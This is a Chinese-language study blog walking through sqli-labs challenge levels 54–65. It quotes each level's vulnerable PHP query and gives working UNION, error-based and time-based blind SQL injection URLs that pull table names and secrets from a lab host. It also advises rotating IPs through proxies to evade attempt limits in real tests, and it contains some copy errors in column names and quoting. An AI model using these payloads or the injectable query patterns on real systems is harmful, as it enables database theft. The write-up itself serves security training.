Sqli-labs Less54-65 挑战

本文记录 SQL 注入的学习过程,资料为 SQLi

SQLi 博客目录

Less - 54: GET - challenge - Union- 10 queries allowed - Veriation1

  1. 源代码

     // Checking the cookie on the page and populate the table with random value.
     $times=10
     setcookie("challenge", $hash, $expire);
    
     $id=$_GET['id'];
     $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";	
    
  2. 原理

    此系列主要是一个进阶的学习,将前面学到的知识进行更深次的运用。这一关我们主要考察的依旧是字符型注入,但是只能尝试十次。所以需要在尝试的时候进行思考。如何能更少的减少次数。这里的表名和密码等是每十次尝试后就强制进行更换。
    因为已经知道了数据库名字叫做 challenges,所以我们需要知道表名。

     http://10.10.10.137/sqli-labs/Less-54/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
    

    得到表名 FPOCHOM6DT

    Sqli-labs Less54-65 挑战_第1张图片

    已经得到表名为 FPOCHOM6DT(当然你测试的时候应该不是这个),接下来就是要找到该表的所有列

     http://10.10.10.137/sqli-labs/Less-54/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='FPOCHOM6DT'--+
    

    得到列名 Your Password:id,sessid,secret_HNRF,tryy

    Sqli-labs Less54-65 挑战_第2张图片

    我们得到了所有的列,可以尝试将所有的数据进行查看,此处知道了密码在 secret_QRJ8 列中,所以我们直接查看该列的内容

     http://10.10.10.137/sqli-labs/Less-54/?id=-1'union select 1,2,group_concat(secret_HNRF) from challenges.FPOCHOM6DT--+
    

    将得到的密码进行提交。此处没有进行截图,可自行测试观看效果。

    其实实际渗透测试当中,我们可以利用更换ip(可以考虑代理)或者更换浏览器等,要看服务器端检测什么内容进行限制。

Less - 55: GET - challenge - Union- 14 queries allowed - Veriation2

  1. 源代码

     // Checking the cookie on the page and populate the table with random value.
     $times=14
     setcookie("challenge", $hash, $expire);
    
     $id=$_GET['id'];
     $sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
    

    其余和 less54 是一样的,所以我们将上述的语句前添加) 即可,但是这里要求次数为14 次。

  2. 测试

     http://10.10.10.137/sqli-labs/Less-55/?id=-1)union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
    

    得到表名 Your Password:ALV34PWB1K

    Sqli-labs Less54-65 挑战_第3张图片

    已经得到表名为 ALV34PWB1K(当然你测试的时候应该不是这个),接下来就是要找到该表的所有列

     http://10.10.10.137/sqli-labs/Less-55/?id=-1)union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ALV34PWB1K'--+
    

    得到列名 Your Password:id,sessid,secret_NI0T,tryy

    Sqli-labs Less54-65 挑战_第4张图片

    我们得到了所有的列,可以尝试将所有的数据进行查看,此处知道了密码在 secret_NI0T 列中,所以我们直接查看该列的内容

     http://10.10.10.137/sqli-labs/Less-55/?id=-1)union select 1,2,group_concat(secret_NI0T) from challenges.ALV34PWB1K--+
    

    将得到的密码进行提交。此处没有进行截图,可自行测试观看效果。

    其实实际渗透测试当中,我们可以利用更换ip(可以考虑代理)或者更换浏览器等,要看服务器端检测什么内容进行限制。

Less - 56: GET - challenge - Union- 14 queries allowed - Veriation3

  1. 源代码

     // Checking the cookie on the page and populate the table with random value.
     $times=14
     setcookie("challenge", $hash, $expire);
    
     $id=$_GET['id'];
     $sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
    
  2. 测试

     http://10.10.10.137/sqli-labs/Less-56/?id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
    

    得到表名 Your Password:EK4P0O0C83

    Sqli-labs Less54-65 挑战_第5张图片

    已经得到表名为 EK4P0O0C83(当然你测试的时候应该不是这个),接下来就是要找到该表的所有列

     http://10.10.10.137/sqli-labs/Less-56/?id=-1')union select 1,2,group_concat(column_name) from information_schema.columns where table_name='EK4P0O0C83'--+
    

    得到列名 Your Password:id,sessid,secret_8IMQ,tryy

    Sqli-labs Less54-65 挑战_第6张图片

    我们得到了所有的列,可以尝试将所有的数据进行查看,此处知道了密码在 secret_8IMQ 列中,所以我们直接查看该列的内容

     http://10.10.10.137/sqli-labs/Less-56/?id=-1')union select 1,2,group_concat(secret_8IMQ) from challenges.EK4P0O0C83--+
    

    将得到的密码进行提交。此处没有进行截图,可自行测试观看效果。

    其实实际渗透测试当中,我们可以利用更换ip(可以考虑代理)或者更换浏览器等,要看服务器端检测什么内容进行限制。

Less - 57: GET - challenge - Union- 14 queries allowed - Veriation4

  1. 源代码

     // Checking the cookie on the page and populate the table with random value.
     $times=14
     setcookie("challenge", $hash, $expire);
    
     $id=$_GET['id'];
     $id= '"'.$id.'"';
     $sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
    
  2. 测试

     http://10.10.10.137/sqli-labs/Less-57/?id=-1"union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
    

    得到表名 Your Password:3FDU6HOWQM

    Sqli-labs Less54-65 挑战_第7张图片

    我们得到了所有的列,可以尝试将所有的数据进行查看,此处知道了密码在 secret_8IMQ 列中,所以我们直接查看该列的内容

     http://10.10.10.137/sqli-labs/Less-57/?id=-1"union select 1,2,group_concat(column_name) from information_schema.columns where table_name='3FDU6HOWQM'--+
    

    得到列名 Your Password:id,sessid,secret_U1ME,tryy

    Sqli-labs Less54-65 挑战_第8张图片

    我们得到了所有的列,可以尝试将所有的数据进行查看,此处知道了密码在 secret_8IMQ 列中,所以我们直接查看该列的内容

     http://10.10.10.137/sqli-labs/Less-57/?id=-1"union select 1,2,group_concat(secret_U1ME) from challenges.3FDU6HOWQM--+
    

    将得到的密码进行提交。此处没有进行截图,可自行测试观看效果。

    其实实际渗透测试当中,我们可以利用更换ip(可以考虑代理)或者更换浏览器等,要看服务器端检测什么内容进行限制。

Less - 58: GET - challenge - Double Query- 5 queries allowed - Veriation1

  1. 源代码

     $times= 5;
     $sessid=$_COOKIE['challenge'];
     $id=$_GET['id'];
     $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
    
  2. 测试

    执行sql 语句后,并没有返回数据库当中的数据,所以我们这里不能使用union 联合注入,这里使用报错注入。

     http://10.10.10.137/sqli-labs/Less-58/?id=-1'union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
    

    报错

Less - 59: GET - challenge - Double Query- 5 queries allowed - Veriation2

  1. 源代码

     $times= 5;
     $sessid=$_COOKIE['challenge'];
     $id=$_GET['id'];
     $sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
    
  2. 测试

     http://10.10.10.137/sqli-labs/Less-59/?id=-1 union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
    

    报错

Less - 60: GET - challenge - Double Query- 5 queries allowed - Veriation3

  1. 源代码

     $times= 5;
     $sessid=$_COOKIE['challenge'];
     $id=$_GET['id'];
     $sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
    
  2. 测试

     http://10.10.10.137/sqli-labs/Less-60/?id=-1")union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
    

    报错

Less - 61: GET - challenge - Double Query- 5 queries allowed - Veriation4

  1. 源代码

     $times= 5;
     $sessid=$_COOKIE['challenge'];
     $id=$_GET['id'];
     $sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";
    
  2. 测试

     http://10.10.10.137/sqli-labs/Less-61/?id=-1'))union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
    

    报错

Less - 62: GET - challenge - Blind - 130 queries allowed - Veriation1

  1. 源代码

     $times= 130;
     $sessid=$_COOKIE['challenge'];
     $id=$_GET['id'];
     $sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
    
  2. 测试

    此处 union 和报错注入都已经失效了,那我们就要使用延时注入了

     http://10.10.10.137/sqli-labs/Less-62/?id=1')and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+
    

    当正确的时候时间很短,当错误的时候时间大于 10 秒,此时可以利用脚本进行尝试。脚本攻击我们放在第三部分,此处就不贴代码了。

Less - 63: GET - challenge - Blind - 130 queries allowed - Veriation2

  1. 源代码

     $times= 130;
     $sessid=$_COOKIE['challenge'];
     $id=$_GET['id'];
     $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
    
  2. 测试

     http://10.10.10.137/sqli-labs/Less-63/?id=1'and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=77,0,sleep(10))--+
    

    当正确的时候时间很短,当错误的时候时间大于 10 秒

Less - 64: GET - challenge - Blind - 130 queries allowed - Veriation3

  1. 源代码

     $times= 130;
     $sessid=$_COOKIE['challenge'];
     $id=$_GET['id'];
     $sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";
    
  2. 测试

     http://10.10.10.137/sqli-labs/Less-64/?id=1))and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))#
    

    当正确的时候时间很短,当错误的时候时间大于10 秒。

Less - 65: GET - challenge - Blind - 130 queries allowed - Veriation4

  1. 源代码

     $times= 130;
     $sessid=$_COOKIE['challenge'];
     $id=$_GET['id'];
     $sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
    
  2. 测试

     http://10.10.10.137/sqli-labs/Less-65/?id=1")and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))#
    

    当正确的时候时间很短,当错误的时候时间大于10 秒。

你可能感兴趣的:(web安全)